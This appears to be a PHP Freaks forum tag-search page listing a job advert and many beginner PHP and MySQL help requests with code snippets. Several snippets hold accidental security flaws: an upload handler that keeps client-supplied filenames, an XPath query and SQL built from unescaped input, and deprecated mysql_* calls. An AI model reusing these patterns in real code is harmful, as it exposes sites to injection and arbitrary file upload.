Jump to content

Search the Community

Showing results for tags 'php'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Welcome to PHP Freaks
    • Announcements
    • Introductions
  • PHP Coding
    • PHP Coding Help
    • Regex Help
    • Third Party Scripts
    • FAQ/Code Snippet Repository
  • SQL / Database
    • MySQL Help
    • PostgreSQL
    • Microsoft SQL - MSSQL
    • Other RDBMS and SQL dialects
  • Client Side
    • HTML Help
    • CSS Help
    • Javascript Help
    • Other
  • Applications and Frameworks
    • Applications
    • Frameworks
    • Other Libraries
  • Web Server Administration
    • PHP Installation and Configuration
    • Linux
    • Apache HTTP Server
    • Microsoft IIS
    • Other Web Server Software
  • Other
    • Application Design
    • Other Programming Languages
    • Editor Help (PhpStorm, VS Code, etc)
    • Website Critique
    • Beta Test Your Stuff!
  • Freelance, Contracts, Employment, etc.
    • Services Offered
    • Job Offerings
  • General Discussion
    • PHPFreaks.com Website Feedback
    • Miscellaneous

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Age


Donation Link

  1. finder.com.au is making waves in the comparison space, and we are expanding our Design & Technology team massively this year. We are looking for several full-stack Senior PHP Developers who will be responsible for building a wide variety of web-based applications (using PHP and MySQL) in addition to maintaining existing PHP code, optimizing website and database performance and developing custom PHP solutions. This is a great opportunity for web people at heart to join a growing team delivering awesome products that get used by hundreds of thousands of users. As a developer at finder.com.au you will have the freedom, autonomy, and responsiblity to improve the code, tools, and architecture without having to cut through red tape. Why finder.com.au? We've just been named one of the top service companies in the Asia Pacific for 2014, taking silver in the Stevie Awards for Australian Service Company of the year. We’ve also been dubbed one of Anthill’s 50 coolest companies in Australia for 2013 thanks to our amazing team, wonderful users and cool company culture. As a development team, we move quickly, releasing code several times per day. You need to be willing to move fast, rely on automation, make decisions on less than perfect information, trust your teammates, and constantly strive to improve. A new Head of Design and Technology, with experience at two of local startup scene’s biggest success stories, recently joined us to lead the team on a mission to speed up the entire company to become the Australian brand for comparison. The team runs hackdays every other month that give all developers free time to show off their creativity and innovation. You will have choice of OS, laptop or desktop, IDE and toolset, and up to 3 monitors. What’s more, you will experience an ultra modern office located in the heart of the Sydney CBD, catered lunches and breakfast supplied every day and all the snacks and drinks you want! Who are you? You live and breathe development and your code has soul. You are a great PHP coder that wants to join a team where you can flex your skills and grow further. You are an expert who understands complex problems and enjoys deploying solutions to business problems. You are keen to get your projects live and solve business problems and improve the development environment and tooling. You also have experience in getting code live multiple times per day. You may be applying from overseas – We are happy to provide support with sponsored relocation services. We already have a number of people on our team from overseas so you will be joining a community. Must have experience: 4+ years of PHP development experience for Senior Roles Experience with phpunit Knowledge of CI tools (Bamboo, Travis, CircleCI) Knowledge of CD tools (Beanstalk, Capistrano) Knowledge of Git Ability and desire to use and extend Git tools (GitHub, Bitbucket) to enhance workflow Ability to mentor junior developers Experience with Wordpress beneficial Knowledge of Front End technologies beneficial Knowledge of monitoring tools beneficial Please send us a resume to iwantin@finder.com.au and optionally provide us with a link to your GitHub or Bitbucket profile and a personal note as to why you would want to work with us at finder.com.au.
  2. Hellow, i need help please, writing code and it doesn't work. please help... Here it is WHERE start_date BETWEEN 'start_date".strtotime('-3 day')."' AND 'start_date'"; without this code everithing works fine Thank you
  3. Hello every body.... I'm creating a simple php project where the user will be able to choose option from dropdown menu and the query will be executed accordingly.. The html form is shown below.... <select name='movie_name'> <option value='ALL'>All</option> <option value='blah'>Blah blah </option> <option value='blah'>Blah blah </option> ... </select> <select name='movie_genre'> <option value='ALL'>All</option> <option value='Horror'>Horror</option> <option value='Anime'>Anime</option> ... </select> <select name='movie_cast'> <option value='ALL'>All</option> <option value='john'>john</option> <option value='Katrina'>Blah blah Katrina</option> ... </select> If the user select "ALL" then, all the resuls will be displayed according to the selected options AND again If the user select "different" options then, all the resuls matcing from the database will be shown... Tha database schema is shown below | id | movie_name| movie_genre | movie_cast | 1 | Hello Brother | Comedy | Salman Khan | 2 | Blah blah | ALL | Blah blah | 3 | ALL | ALL | ALL | 4 | Blah Blah | Blah Blah | ALL * here "ALL" is a specific text which may or may not be present in the rows.... Thank u in advance....
  4. Hi Guys, I have a Url which allows me to send sms to a number. The url usually asks for id , number and few other things. When I paste the url in browser and press enter it opens and a sms is sent. Now I want to code in php a way to send sms without redirecting to that page. For e.g. I ask user his mobile number and then I should be able to call/run that url and a sms should be sent to his number. If I use php header then it redirects to that page. I have tried using file_get_contents and php cURL but it has not worked so far. Can you guys help me out ? Thank you, Cheers, GR
  5. Hello I am using the code: <?php if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; } if ( ($_FILES["file"]["size"] < 25000) ) { if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; } } else { echo "Invalid file"; } echo "<br>".'2'."<br>"; if (($_FILES["file"]["size"] < 25000) ) { if ($_FILES["file"]["error"] > 0) { echo "Return Code: " . $_FILES["file"]["error"] . "<br>"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br>"; if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { $success= move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]); if($success){ echo "success Stored in: " . $_FILES["file"]["name"]; } } } } else { echo "Invalid file"; } ?> This is properly working on my local host but not working on the server which I am using this line $success= move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]); is not working kindly help me thanks
  6. What I am trying to do is to submit as POST values to database_write.php, from within the while statement. What is happening is I am getting the second row of data every time I change the primary button. Currently database_write.php is just doing print_r($_POST), And my array is always the same, no matter which select box I choose from. How can I get the values to be associated with the row I am currently changing? Any help would be great, thanks. What I have so far: <table class="table table-bordered table-hover"> <thead> <th>Room Number</th> <th>Primary Caregiver</th> <th>Seconday Caregiver</th> </thead> <tbody class="list"> <?php $sql = 'SELECT alarm_device_id, alarm_description, alarm_device_type, notes FROM alarm_device where notes in (\'MSU\') ORDER BY alarm_description'; $retval = mysql_query( $sql, $con ); if(! $retval ) { die('Could not get data: ' . mysql_error()); } $x=0; while($row = mysql_fetch_array($retval, MYSQL_ASSOC)) { $id = $row['alarm_device_id']; $alarm_description = $row['alarm_description']; echo '<form id="msu_form">'; echo "<tr><td>{$row['alarm_description']}</td>"; echo "<td>"; $query2 = "SELECT alert_device_id,alert_description FROM alert_device WHERE notes = 'MSU'"; $result2 = mysql_query($query2) or die("Error in alarm_device select:" . mysql_error()); $count2 = mysql_num_rows($result2); if($count2 > 0) { //echo '<select name='.$x.'>'; echo '<select id="Primary" name="primary" onchange="doAjaxPost(this)">'; while($row2 = mysql_fetch_array($result2)) { echo "<option value=".$row2['alert_device_id'].">".$row2['alert_description']."</option>"; } echo "</select>"; }else { echo "Please update alert device to this area"; } echo "</td>"; echo "<td>"; $query3 = "SELECT alert_device_id,alert_description FROM alert_device WHERE notes = 'MSU2'"; $result3 = mysql_query($query3) or die("Error in alarm_device select:" . mysql_error()); $count3 = mysql_num_rows($result3); if($count3 > 0) { echo '<select id="Secondary" name="secondary">'; while($row3 = mysql_fetch_array($result3)) { echo "<option value=".$row3['alert_device_id'].">".$row3['alert_description']."</option>"; } echo "</select>"; }else { echo "Please update alert device to this area"; } echo "</td>"; $aid = $id + $x; //echo $aid; //$ad = $alarm_description + $x; echo '<input type="hidden" id="ID" name="ID" value="'.$id.'"/>'; //echo '<input type="hidden" id="desc" name="desc" value="'.$ad.'"/>'; //echo '<td>'."<input type='submit' name='btnupdate' value='UPDATE' /></td>"; //echo '<td><input type="button" value="Ajax Request" onClick="doAjaxPost()"></td>'; echo '</form>'; $x = $x+1; } ?> <script> function doAjaxPost() { // get the form values var primary = $('#Primary').val(); var secondary = $('#Secondary').val(); var hidden = $('#ID').val(); //var desc = $(sel).parent().nextAll('#desc').val(); $.ajax({ type: "POST", url: "functions/database_write.php", data: $('#msu_form').serialize(), //data: "Primary="+primary+"&Hidden="+hidden+"&Secondary="+secondary, success: function(resp){ //we have the response alert("'" + resp + "'"); }, error: function(e){ alert('Error: ' + e); } }); } </script> </tr> </tbody> </table>
  7. Hie, I know there are many great logic idea mind out here. I have a code for fetching CSV file data which uploads data and then fetch csv file and then fetch the content from the file and displays in the frontend. Basically, the CSV file created is from the google doc spreadsheet. Its a long process to first download the google spreadsheet in .csv extension and then to upload on my script and fetch the data. But is there any better way to simply fetch data directly from google doc. I tried but did not find a proper solution. <?php //if ($_FILES["https://docs.google.com/spreadsheets/d/1g-SMSAhkqot4BiQwDSw7pALnJAaEycg75eiBK6dz3Hc/edit#gid=0"]["error"] > 0) if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; echo "No files...!!!!!"; echo "<script>alert('No files...!!!!!');window.location.href='upload_file.php';</script>"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br>"; //echo "Stored in: " . $_FILES["file"]["tmp_name"]; $a=$_FILES["file"]["tmp_name"]; $csv_file = $a; if (($getfile = fopen($csv_file, "r")) !== FALSE) { $data = fgetcsv($getfile, 1000, ","); while (($data = fgetcsv($getfile, 1000, ",")) !== FALSE) { //$num = count($data); //echo $num; //for ($c=0; $c < $num; $c++) { $result = $data; $str = implode(",", $result); $slice = explode(",", $str); $col1 = $slice[0]; $col2 = $slice[1]; $col3 = $slice[2]; } } } ?> Could someone here please help me out. Please let me know if any concerns.
  8. Hello everyone, I'm new here My website was working fine until a few days ago, Up until then my str_replace('s130x130', 's800x800') and str_replace('_s', '_o') solved the picture thing. Now the images are broken (or very small) and I can find no documentation on how to enlarge the pictures. Thus my question: how do I retrieve larger pictures from the Facebook PHP SDK? Code foreach($pagefeed['data'] as $post) { if ($post['type'] == 'status' || $post['type'] == 'link' || $post['type'] == 'photo') { if ($post['type'] == 'photo') { echo "<div class='col-md-6 col-sm-6'>"; echo "<div class='thumbnail'>"; echo "<img src=" . str_replace('s130x130', 's800x800', str_replace('_s', '_o', $post['picture'])) . " />"; echo "<div class='caption'>"; echo "<sup>Geplaatst op: " . date("d-m-Y, (strtotime($post['created_time']))) . "</sup>"; if (empty($post['message']) === false) { echo "<p><span class='glyphicon glyphicon-comment'></span> " . $post['message'] . "</p>";} echo "</div>"; echo "</div>"; echo "</div>"; $i++; } } } Thanks in advance!
  9. Hi ! I am having a heck of a time sending data back in responseText. First of all, I am not actually sure how my data is being sent back into responseText - it is the result of me using a jquery plugin called iframetransport which seeks to transport file inputs across an iframe for ajax like form submission. Anyway, I am echoing back data from PHP like so echo json_encode(array("rowData"=> '<div class = "row" data-id = "'.$row['id'].'" > <div class = "row"><img src="data:image/jpeg;base64,'.base64_encode( $row['blob'] ).'"/></div> <div class = "container"> <div class = "name"><p>'.$row['name'] .'</p></div> </div> </div>')); I know that this data is valid in normal ajax $.posts because I also have form submission without the iframetransport, and it returns the exact same data with no issue. However, when the above data makes its way into responseText it looks like this on the client side: "{"rowData":"\n\t\t\t\t\t<\/div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tasdasd<\/p><\/div>\n\t\t\t\t\t\t\t<\/p><\/div>\n\t\t\t\t\t\t\t<\/p><\/div>\n\t\t\t\t\t\t\t1<\/p><\/div>\n\t\t\t\t\t\t\t<\/p><\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>"}" All my divs and elements are replaced with \t or they are not making it into the response. Also when I return blobs like this (this is even worse) I get a 414 (Request-URI Too Large) Any help is appreciated. This is the plugin http://cmlenz.github.io/jquery-iframe-transport/ if interested.
  10. Hello! I'm hoping this makes sense. Basically I have this code: What it does 1) Looks at the XML 2) Looks for the PIN number in the URL, then finds it in the XML 3) Returns values for the PIN number (which is a profile) allowing me to do echo statements like name, tools, description, etc. <?php if (!empty($_GET['pin'])) { $feedURL = 'http://www.inveroak.co.uk/readerimages/livepanel/91255.xml'; $showOpsWithNoPics = false; try { $xml = simplexml_load_file($feedURL . '?' . time()); $readers = $xml->xpath('/ReaderDetails/Reader[Pin="' . $_GET['pin'] . '"]'); foreach ($readers as $reader) { if ($reader->Picture == 'None' && $showOpsWithNoPics == false) { $picture = ''; } elseif ($reader->Picture == 'None' && $showOpsWithNoPics == true) { $picture = 'images/defaultpic.jpg'; } else { $picture = $reader->Picture; } if ($picture != '') { $name = $reader->Name; $pin = $reader->Pin; $status = $reader->Status; $description = $reader->Description; $arr_skills = ''; $arr_subjects = ''; foreach ($reader->Categories->Category as $Category) { foreach ($Category->Skill as $Skill) { switch ($Category['name']) { case 'Skills': $arr_skills .= "<li>$Skill</li>"; break; case 'Subjects': $arr_subjects .= "<li>$Skill</li>"; break; } } } $arr_shift = ''; $hourWidth = 20; $PreviousDate = ""; foreach ($reader->Rota->Shift as $Shift) { $Date = $Shift['Date']; $Day = date("l", strtotime($Date)); $Start = $Shift['Start']; $Stop = $Shift['Stop']; if($Stop == '23:59:59' || $Stop == '00:00:00' ){$Stop = '24:00:00';} $Left = date("H",strtotime($Date.' '.$Start)) * $hourWidth; $Width = (round(abs(strtotime($Date.' '.$Stop) - strtotime($Date.' '.$Start)) / 60,2)/60)*$hourWidth; $compare = strcmp ($PreviousDate, $Date); if ($compare != 0) { if ($PreviousDate != '') { //this is not the first loop so close off the previous dayrow and hours divs $arr_shift.= '</div></div>'; } //create a new day row $arr_shift .= '<div class="dayrow">'; $arr_shift .= '<div class="day">'.$Day.'</div>'; $arr_shift .= '<div class="hours">'; } //add the shift object $arr_shift .= '<div class="shift" title="'. substr($Start,0,5).'-'.substr($Stop,0,5) .'" style="left:'.$Left.'px; width:'.$Width.'px; opacity: 1;"></div>'; //set previouse date to the current shift's date so that we can check if we need to create a new day row next loop $PreviousDate = $Date; } //now we have finshed looping the shifts, either close the last div or display a message to show //we have no schedule for the op if ($Date != "") { $arr_shift.= '</div></div>'; } else { $arr_shift.= 'We are sorry but they have not scheduled their hours this week. Email for further details.'; } } } } catch (Exception $e) { echo 'cannot display operator profile'; } } ?> What I am want to achieve 1) Looks at the XML 2) Looks for a set PIN number in the CODE, then finds it in the XML 3) Returns values for the PIN number (which is a profile). I've tried everything I can think of including the following: $pin = $_GET['pin']; // meeh I changed my mind $pin = 4007; // or depending on a test $pin = $_GET['pin'] == 4007 ? 4007 : 0; // further down the script try { $xml = simplexml_load_file($feedURL . '?' . time()); $readers = $xml->xpath('/ReaderDetails/Reader[Pin="' . $pin . '"]'); } catch(Exception $e) { echo 'Cant find the profile. You sure the pin is right?'; } and $searchPin = 12345; libxml_disable_entity_loader(true); $xmlString = file_get_contents('http://www.inveroak.co.uk/readerimages/livepanel/91255.xml'); $xml = simplexml_load_file($xmlString); $readers = $xml->xpath('/ReaderDetails/Reader/Pin[text()="' . $searchPin . '"]'); foreach($readers as $reader ) { print_r($reader->xpath('parent::*')); } but it's really not playing game. I'm hoping someone here has the brain power to help me solve what I am guessing is something simple I am just not seeing! If you need me to explain more what I mean, let me know!
  11. Hi there, I've been searching the internet for the best way to check if the user has been logged in. Some codes have security breaches. So I'm not sure where to start. Here's what I've come up with: The user logs in and is checked whether he/she is a valid user, if not return false and if true carry on and create session, I read the post that Jacques1 made about session feedback and implemented what he said. After that the session variables are assigned and then the user id, session_id and a unique identifier to check against on each page load are inserted into a database and then the user is logged in. Here's my code: (please note this is in a class and only shows the login function) function Login($username, $password) { try { $db = new PDO("mysql:host=".DB_HOST.";dbname=".DB_NAME.";charset=utf8", DB_USERNAME, DB_PASSWORD); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); } catch(PDOException $ex) { echo "Unable to connect to DB"; error_log($ex->getMessage()); } try { $User_Info = $db->prepare("SELECT * FROM users WHERE username=:username"); $User_Info->bindValue(":username", $username, PDO::PARAM_STR); $User_Info->execute(); $Info = $User_Info->fetchAll(PDO::FETCH_ASSOC); $salt = $Info['salt']; $password = $salt . $password; $password = $this->CreateHash($password); $unique_key = $this->GenerateRandom(); $unique_key = $this->CreateHash($unique_key); $Check_User = $db->prepare("SELECT * FROM users WHERE username=:username AND password=:password"); $Check_User->bindValue(":username", $username, PDO::PARAM_STR); $Check_User->bindValue(":password", $password, PDO::PARAM_STR); $Check_User->execute(); if($Check_User->rowCount() > 0) { while($row = $Check_User->fetchAll(PDO::FETCH_ASSOC)) { session_destroy(); session_start(); $_SESSION = array(); session_regenerate_id(true); $_SESSION['username'] = $row['username']; $session_id = session_id(); $user_id = $row['id']; $Check_Logged_In = $db->prepare("DELETE FROM logged_in_users WHERE user_id=:userid"); $Check_Logged_In->bindValue(":user_id", $user_id, PDO::PARAM_STR); $Check_Logged_In->execute(); $has_changed = $Check_Logged_In->rowCount(); if($has_changed > 0) { $Logged_In = $db->prepare("INSERT INTO logged_in_users (id, user_id, session_id, unique_key) VALUES (NULL, :user_id, :session_id, :unique_key)"); $Logged_In->bindValue(":user_id", $user_id, PDO::PARAM_STR); $Logged_In->bindValue(":session_id", $session_id, PDO::PARAM_STR); $Logged_In->bindValue(":unique_key", $unique_key, PDO::PARAM_STR); $Logged_In->execute(); $affected_rows = $Logged_In->rowCount(); if($affected_rows > 0) { return true; } } return false; } } return false; } catch(PDOException $ex) { echo "Unable to complete query"; error_log($ex->getMessage()); } } Thanks
  12. Hello, I am working on the logic code which returns the values proper as needed combining 1,2,3 arrays. But it gives result as combining first two results as well which is not required. I want if $slice contains "ers" at end so $suffix should not add. for which I have used the regex code. But it prints onlyy array $slice and $array3 in middle of the output as eg: "Biggest Web Development" , "Leading Web Development" , "Best Web Development" as so on after every 9 row. code: <?php $slice = array(0=>"Web Development", 1=>"Online Marketing", 2=>"Australian Web Developers", 3=>"Web Designs", 4=>"Custom Web Design", 5=>"Online Marketing",6=>"Internet Advertising",7=>"Professional Web Design",8=>"Web Designing"); $array3 = array(0=>"Biggest", 1=>"Leading", 2=>"Best", 3=>"Top", 4=>"Largest", 5=>"Premier"); $suffix = array(0=>"Agency", 1=>"Provider", 2=>"Service", 3=>"Specialist", 4=>"Experts", 5=>"Company", 6=>"Business", 7=>"Builder", 8=>"Services"); foreach($slice as $slices =>$value)//keywords { foreach($array3 as $array3_keys =>$array3_value)//superlatives { foreach($suffix as $suffix_keys =>$suffix_value)// suffixs { if((!preg_match("/ers$/",$value, $matches))) { echo $array3_value." ".$value." ".$suffix_value."<br/>"; } } echo $array3_value." ".$value."<br/>"; } } ?> Please help. I am really stuck.
  13. What I want to do is what is in the shown in the table. I want to only get the Math subject and order the units from unit 1 (UI) to the last available unit in the database; after this, under each unit, to show the homework related to each unit. I have tried to save it into an array with mysql_fetch_array but it stores the row that involves one unit. I want all the units and only the units with their homework under them. My database is attached to this post in a txt file. hope someone can help. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Documento sin título</title> </head> <body> <form action="" method="post" name="form1" id="form1"> <table width="200" border="1"> <tr> <td>Subject:</td> <td>Math</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> </td> <td>UI</td> <td>UI</td> <td>UII</td> <td>UIII</td> <td>UII</td> <td>...</td> </tr> <tr> <td>Home work</td> <td>Math work1</td> <td>Math work2</td> <td>Math work3</td> <td>Math work4</td> <td>Math work5</td> <td>...</td> </tr> <tr> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> </tr> </table> </form> </body> </html>
  14. Hi Everyone, I have this php page that runs couple of MS SQL stored procedures to fetch me values from SQL Server, however I have run into a problem where not more then 2 stored procedures are executed at same time. For instance below mentioned code only fetches me values for 1st and 2nd SP's. If I need values from the 3rd stored procedure then I would have to comment either one of the first two stored procedure. Can someone please tell me what is that I am doing wrong. I am relatively new to PHP, so please be gentle. Any help would be highly appreciated. Thanks. <?php if($conn = mssql_connect('host', 'user', 'pass')) echo 'Connected to SQLEXPRESS<BR>'; if(mssql_select_db("database",$conn)) echo 'Selected DB: SomeDatabase<BR>'; $variable1=something; $sql_statement = mssql_init("stored_procedure1 '$variable1'", $conn); $result=mssql_execute($sql_statement); $x=0; while ($row = mssql_fetch_assoc($result)) { $column2[$x]= $row['column2']; $column1= $row['column1']; $x++; } echo "Value 1: $column1 </br>"; echo "Value 2: $column2[0] </br>"; echo "Value 3: $column2[1] </br>"; echo "Value 4: $column2[2] </br>"; echo "Value 5: $column2[3] </br>"; echo "Value 6: $column2[4] </br>"; echo "Value 7: $column2[5] </br>"; mssql_free_statement($sql_statement); $sql_statement = mssql_init("stored_procedure2 '$variable1'", $conn); $result=mssql_execute($sql_statement); $x=0; while ($row = mssql_fetch_assoc($result)) { $someval1[$x]= $row['somecolumn1']; $someval2[$x]= $row['somecolumn2']; $someval3= $row['somecolumn3']; $someval4= $row['somecolumn4']; $someval5= $row['somecolumn5']; $someval6= $row['somecolumn6']; $x++; } echo "Something1: $someval1[0]</br>"; echo "Something2: $someval3 </br>"; echo "Something3: $someval2[0] </br>"; echo "Something4: $someval4 </br>"; echo "Something5: $someval6 </br>"; echo "Something6: $someval5 </br>"; mssql_free_statement($sql_statement); $sql_statement = mssql_init("stored_procedure3 '$variable1'", $conn); $result=mssql_execute($sql_statement); $x=0; while ($row = mssql_fetch_assoc($result)) { $somevaluecheck= $row['somecolumncheck']; $x++; } echo "SomethingCheck: $somevaluecheck </br>"; mssql_free_statement($sql_statement); ?>
  15. I am working on a site Wordpress site where I have used a plugin to create some custom fields that appear when a user is creating a new page. The code below is a snipet from the template that calls those custom fields and places the user input into the proper sections of the page. The first line is working perfectly, the second piece of code is where my error is coming from. The code in bold is the call to the user input url. I need this to be input into the button shortcode. I am not very experienced with php, so I am hoping that I have just made a simple syntax error. Any help would be greatly appreciated! .... <p><?php echo types_render_field("copy-section");?></p> <?php echo do_shortcode('[button color="accent-color" hover_text_color_override="#fff" size="large" url="' . echo types_render_field("signup-link"); . '" text="SIGN UP TODAY - It's Free and Secure!" color_override="#d28743"]'); ?> ....
  16. Hi all, I'm working on a project involving an orders set of APIs, and having trouble coming up with the best logic to handle this - with the smallest amount of overhead and client facing slowness. Here's the jist of what I'm looking at... There are 21 API methods to pull different types of orders, and each of them handle paging by requesting a number of records (10 - 500), and a page number. So I could say in my URI, "page-no=1&no-of-records=50", followed by "page-no=2&no-of-records=50", to get subsequent records. The API will return in each call the total records returned as well as the total records in their database. Now, I want to insert all of this into my database, and so that means something like 21 APIs * 3 SQL requests each = 63 sql queries (check it exists, if so update - else insert). This seems to me like way too much work for a client facing application. Any suggestions?
  17. Hello, I am new to this site and hope I am posting this in the right section... The thing is..... I would like some help with php and mysql.. What I want to create is a page where users can create an account by entering their name, email and password, and if the username is taken they will have to try again otherwise their details will be registered to the mysql table and have an account to login. Also I would like a redirect so if the user is a standard user it goes to say “home”, but if the user is an admin it will go to another page ie “home2”, and how would I create the admin in the same table on mysql or seperate? Right the last thing is once the user can register and login, so can the admin, for instance if there are 10 users, when logged in I want each of those users to see different information can this be done and how could I do this ? I thought maybe have the table and the id would be from 1-10 so if user is 1 being dan show his column, and if user logged 2 being steve show column id 2. Can somebody help me implement this please ? I am currently learning php and mysql, im in university I managed to learn how to create the table, connect login, search, add to the database when logged in and edit etc.. but for what I want to achieve now I cannot find any tutorials or help, could somebody please help me with the coding for this and what pages are what and how to create the table in mysql being either 1 table for both user and admin, or 2 tables for separate users and admin. Thanks for your help in advance guys
  18. Simplified for everyone's sanity and re-posted. Got a Wordpress Conference theme, lets you enter speakers into a database and assign each one a category/role. In the settings for the theme, there's a dropdown from which you can select one of the roles you create. Doing so will display all the speakers assigned that role in the footer of the homepage and also populate a stand-alone Speakers page with the same role. I want to make it so that the footer on the homepage displays one role and the stand-alone speaker page displays another. Here's the PHP for the Speakers page (identical to the footer PHP) <?php /** * Template Name: Speakers page * Description: Speakers page * * @package WordPress * @subpackage wpconference * @since wpconference 0.1 */ get_header(); ?> <div id="primary"> <div id="content" role="main"> <h1 class='entry-title'><?php the_title(); ?></h1> <?php global $conf_sched; $speakers_category = $conf_sched->get_option('speakers-category',-1); if($speakers_category !=-1){ $speaker = get_term($speakers_category, 'participant-roles'); $conf_sched->shortcode_participants(array('role'=>$speaker->slug)); }else { _e("To be annouced...",'wpconference'); } ?> </div> <!-- #content --> </div> <!-- #primary --> <?php get_footer(); ?> Here's the HTML for the "dropdown" portion of the settings, where you can see the role categories available. "Speaker" is the default created by the Theme, "whyattend" is the one I made. <!-- Speakers Category --> <tr valign="top"><th scope="row">Speakers Category</th> <td> <select name='conf_sched[speakers-category]' id='cat_speakers' class='postform' > <option value='-1'>&#8212;</option> <option class="level-0" value="2">Speaker</option> <option class="level-0" value="17" selected="selected">whyattend</option> </select> <br /> <span class="description">Please choose which category is your speakers category. If none is available please go to Participants menu and add a new role speakers</span> </td> </tr> I want "whyattend" to show on the Footer and "Speaker" to populate the Speakers page. Can this be done?
  19. if some one could look this over i would be thrilled. i cant seem to get the button to refresh the background. please if anyone could point out my problem. <?php $bg = array('http://207.251.86.238/cctv/1.jpg', 'http://207.251.86.238/cctv/3.jpg', 'http://207.251.86.238/cctv/8.jpg', 'http://207.251.86.238/cctv/01.jpg', 'http://207.251.86.238/cctv/9.jpg', 'http://207.251.86.238/cctv/2.jpg', 'http://207.251.86.238/cctv/4.jpg', 'http://207.251.86.238/cctv/7.jpg', 'http://207.251.86.238/cctv/02.jpg', 'http://207.251.86.238/cctv/03.jpg', 'http://207.251.86.238/cctv/05.jpg', 'http://207.251.86.238/cctv/07.jpg', 'http://207.251.86.238/cctv/08.jpg', 'http://207.251.86.238/cctv/09.jpg', 'http://207.251.86.238/cctv/04.jpg', 'http://207.251.86.238/cctv/10.jpg', 'http://207.251.86.238/cctv/14.jpg', 'http://207.251.86.238/cctv/17.jpg', 'http://207.251.86.238/cctv/16.jpg', 'http://207.251.86.238/cctv/15.jpg', 'http://207.251.86.238/cctv/19.jpg', 'http://207.251.86.238/cctv/20.jpg', 'http://207.251.86.238/cctv/18.jpg', 'http://207.251.86.238/cctv/23.jpg', 'http://207.251.86.238/cctv/22.jpg', 'http://207.251.86.238/cctv/24.jpg', 'http://207.251.86.238/cctv/25.jpg', 'http://207.251.86.238/cctv/28.jpg', 'http://207.251.86.238/cctv/12.jpg', 'http://207.251.86.238/cctv/13.jpg', 'http://207.251.86.238/cctv/38.jpg', 'http://207.251.86.238/cctv/40.jpg', 'http://207.251.86.238/cctv/5.jpg', 'http://207.251.86.238/cctv/32.jpg', 'http://207.251.86.238/cctv/33.jpg', 'http://207.251.86.238/cctv/43.jpg', 'http://207.251.86.238/cctv/11.jpg', 'http://207.251.86.238/cctv/29.jpg', 'http://207.251.86.238/cctv/44.jpg', 'http://207.251.86.238/cctv/35.jpg', 'http://207.251.86.238/cctv/49.jpg', 'http://207.251.86.238/cctv/55.jpg', 'http://207.251.86.238/cctv/48.jpg', 'http://207.251.86.238/cctv/57.jpg', 'http://207.251.86.238/cctv/56.jpg', 'http://207.251.86.238/cctv/58.jpg', 'http://207.251.86.238/cctv/59.jpg', 'http://207.251.86.238/cctv/63.jpg', 'http://207.251.86.238/cctv/65.jpg', 'http://207.251.86.238/cctv/61.jpg', 'http://207.251.86.238/cctv/68.jpg', 'http://207.251.86.238/cctv/69.jpg', 'http://207.251.86.238/cctv/70.jpg', 'http://207.251.86.238/cctv/72.jpg', 'http://207.251.86.238/cctv/71.jpg', 'http://207.251.86.238/cctv/60.jpg', 'http://207.251.86.238/cctv/67.jpg', 'http://207.251.86.238/cctv/74.jpg', 'http://207.251.86.238/cctv/66.jpg', 'http://207.251.86.238/cctv/83.jpg', 'http://207.251.86.238/cctv/90.jpg', 'http://207.251.86.238/cctv/001.jpg', 'http://207.251.86.238/cctv/96.jpg', 'http://207.251.86.238/cctv/95.jpg', 'http://207.251.86.238/cctv/007.jpg', 'http://207.251.86.238/cctv/003.jpg', 'http://207.251.86.238/cctv/008.jpg', 'http://207.251.86.238/cctv/024.jpg', 'http://207.251.86.238/cctv/025.jpg', 'http://207.251.86.238/cctv/009.jpg', 'http://207.251.86.238/cctv/029.jpg', 'http://207.251.86.238/cctv/028.jpg', 'http://207.251.86.238/cctv/032.jpg', 'http://207.251.86.238/cctv/033.jpg', 'http://207.251.86.238/cctv/035.jpg', 'http://207.251.86.238/cctv/005.jpg', 'http://207.251.86.238/cctv/002.jpg', 'http://207.251.86.238/cctv/038.jpg', 'http://207.251.86.238/cctv/040.jpg', 'http://207.251.86.238/cctv/044.jpg', 'http://207.251.86.238/cctv/043.jpg', 'http://207.251.86.238/cctv/031.jpg', 'http://207.251.86.238/cctv/036.jpg', 'http://207.251.86.238/cctv/048.jpg', 